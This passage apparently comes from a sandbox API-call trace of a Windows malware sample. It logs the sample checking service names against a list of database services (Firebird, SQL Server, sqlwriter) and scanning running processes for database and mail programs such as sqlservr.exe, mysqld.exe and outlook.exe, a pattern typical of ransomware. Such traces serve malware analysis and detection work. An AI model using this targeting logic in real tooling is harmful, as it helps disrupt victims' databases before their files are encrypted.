(lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0057.301] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0057.301] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0057.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0057.301] lstrlenW (lpString="TrkWks") returned 6 [0057.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0057.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0057.301] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0057.301] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0057.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0057.301] lstrlenW (lpString="UxSms") returned 5 [0057.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0057.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0057.301] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0057.301] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0057.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0057.301] lstrlenW (lpString="VSS") returned 3 [0057.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0057.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0057.302] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0057.302] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0057.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0057.302] lstrlenW (lpString="WdiServiceHost") returned 14 [0057.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0057.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0057.302] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0057.302] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0057.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0057.302] lstrlenW (lpString="WdiSystemHost") returned 13 [0057.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0057.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0057.302] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0057.302] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0057.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0057.302] lstrlenW (lpString="WinDefend") returned 9 [0057.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0057.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0057.302] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0057.302] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0057.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0057.303] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0057.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0057.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0057.303] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0057.303] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0057.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0057.303] lstrlenW (lpString="Winmgmt") returned 7 [0057.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0057.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0057.303] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0057.303] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0057.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0057.303] lstrlenW (lpString="wscsvc") returned 6 [0057.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0057.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0057.303] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0057.303] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0057.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0057.303] lstrlenW (lpString="wuauserv") returned 8 [0057.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0057.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0057.303] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0057.303] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0057.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0057.304] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60e1c0 | out: hHeap=0x5c0000) returned 1 [0057.304] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x190 [0057.310] Process32FirstW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0057.311] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0057.312] lstrlenW (lpString="System") returned 6 [0057.312] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0057.312] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0057.312] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0057.312] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0057.312] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0057.312] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0057.312] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0057.312] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0057.314] lstrlenW (lpString="smss.exe") returned 8 [0057.314] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0057.314] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0057.314] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0057.315] lstrlenW (lpString="csrss.exe") returned 9 [0057.315] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0057.316] lstrlenW (lpString="wininit.exe") returned 11 [0057.316] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0057.317] lstrlenW (lpString="csrss.exe") returned 9 [0057.317] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0057.318] lstrlenW (lpString="winlogon.exe") returned 12 [0057.318] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0057.319] lstrlenW (lpString="services.exe") returned 12 [0057.319] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0057.320] lstrlenW (lpString="lsass.exe") returned 9 [0057.320] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0057.321] lstrlenW (lpString="lsm.exe") returned 7 [0057.321] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.322] lstrlenW (lpString="svchost.exe") returned 11 [0057.322] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.548] lstrlenW (lpString="svchost.exe") returned 11 [0057.548] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.549] lstrlenW (lpString="svchost.exe") returned 11 [0057.549] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.550] lstrlenW (lpString="svchost.exe") returned 11 [0057.550] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.551] lstrlenW (lpString="svchost.exe") returned 11 [0057.551] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0057.552] lstrlenW (lpString="audiodg.exe") returned 11 [0057.552] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.553] lstrlenW (lpString="svchost.exe") returned 11 [0057.553] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.554] lstrlenW (lpString="svchost.exe") returned 11 [0057.554] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0057.555] lstrlenW (lpString="dwm.exe") returned 7 [0057.555] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0057.556] lstrlenW (lpString="explorer.exe") returned 12 [0057.556] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0057.557] lstrlenW (lpString="spoolsv.exe") returned 11 [0057.557] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0057.558] lstrlenW (lpString="taskhost.exe") returned 12 [0057.558] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.559] lstrlenW (lpString="svchost.exe") returned 11 [0057.559] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0057.560] lstrlenW (lpString="taskeng.exe") returned 11 [0057.560] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0057.561] lstrlenW (lpString="taskhost.exe") returned 12 [0057.561] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.562] lstrlenW (lpString="svchost.exe") returned 11 [0057.562] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0057.564] lstrlenW (lpString="sppsvc.exe") returned 10 [0057.564] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.565] lstrlenW (lpString="svchost.exe") returned 11 [0057.565] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barrelsince.exe")) returned 1 [0057.566] lstrlenW (lpString="barrelsince.exe") returned 15 [0057.566] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="cricket.exe")) returned 1 [0057.567] lstrlenW (lpString="cricket.exe") returned 11 [0057.567] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="angelsalot.exe")) returned 1 [0057.568] lstrlenW (lpString="angelsalot.exe") returned 14 [0057.568] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bridge.exe")) returned 1 [0057.568] lstrlenW (lpString="bridge.exe") returned 10 [0057.569] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh_shipping.exe")) returned 1 [0057.569] lstrlenW (lpString="sh_shipping.exe") returned 15 [0057.570] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tobacco packet.exe")) returned 1 [0057.571] lstrlenW (lpString="tobacco packet.exe") returned 18 [0057.571] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pubscrashsatisfactory.exe")) returned 1 [0057.572] lstrlenW (lpString="pubscrashsatisfactory.exe") returned 25 [0057.572] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="confidentiality-lookup-going.exe")) returned 1 [0057.573] lstrlenW (lpString="confidentiality-lookup-going.exe") returned 32 [0057.573] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="widespread.exe")) returned 1 [0057.574] lstrlenW (lpString="widespread.exe") returned 14 [0057.574] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="silk priority recreational.exe")) returned 1 [0057.575] lstrlenW (lpString="silk priority recreational.exe") returned 30 [0057.575] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="zinc.exe")) returned 1 [0057.576] lstrlenW (lpString="zinc.exe") returned 8 [0057.576] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mainstream-footwear.exe")) returned 1 [0057.577] lstrlenW (lpString="mainstream-footwear.exe") returned 23 [0057.577] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="construction_rice.exe")) returned 1 [0057.578] lstrlenW (lpString="construction_rice.exe") returned 21 [0057.578] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mask.exe")) returned 1 [0057.579] lstrlenW (lpString="mask.exe") returned 8 [0057.579] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="rome_bool_pioneer.exe")) returned 1 [0057.852] lstrlenW (lpString="rome_bool_pioneer.exe") returned 21 [0057.852] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="owen_der_sequence.exe")) returned 1 [0057.853] lstrlenW (lpString="owen_der_sequence.exe") returned 21 [0057.854] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x858, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="curve standing.exe")) returned 1 [0057.855] lstrlenW (lpString="curve standing.exe") returned 18 [0057.855] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0057.856] lstrlenW (lpString="3dftp.exe") returned 9 [0057.856] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0057.857] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0057.857] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x888, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0057.858] lstrlenW (lpString="alftp.exe") returned 9 [0057.858] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0057.859] lstrlenW (lpString="barca.exe") returned 9 [0057.859] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0057.860] lstrlenW (lpString="bitkinex.exe") returned 12 [0057.861] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0057.862] lstrlenW (lpString="coreftp.exe") returned 11 [0057.862] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0057.863] lstrlenW (lpString="far.exe") returned 7 [0057.863] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0057.864] lstrlenW (lpString="filezilla.exe") returned 13 [0057.864] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0057.865] lstrlenW (lpString="flashfxp.exe") returned 12 [0057.865] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0057.866] lstrlenW (lpString="fling.exe") returned 9 [0057.866] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0057.867] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0057.867] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: 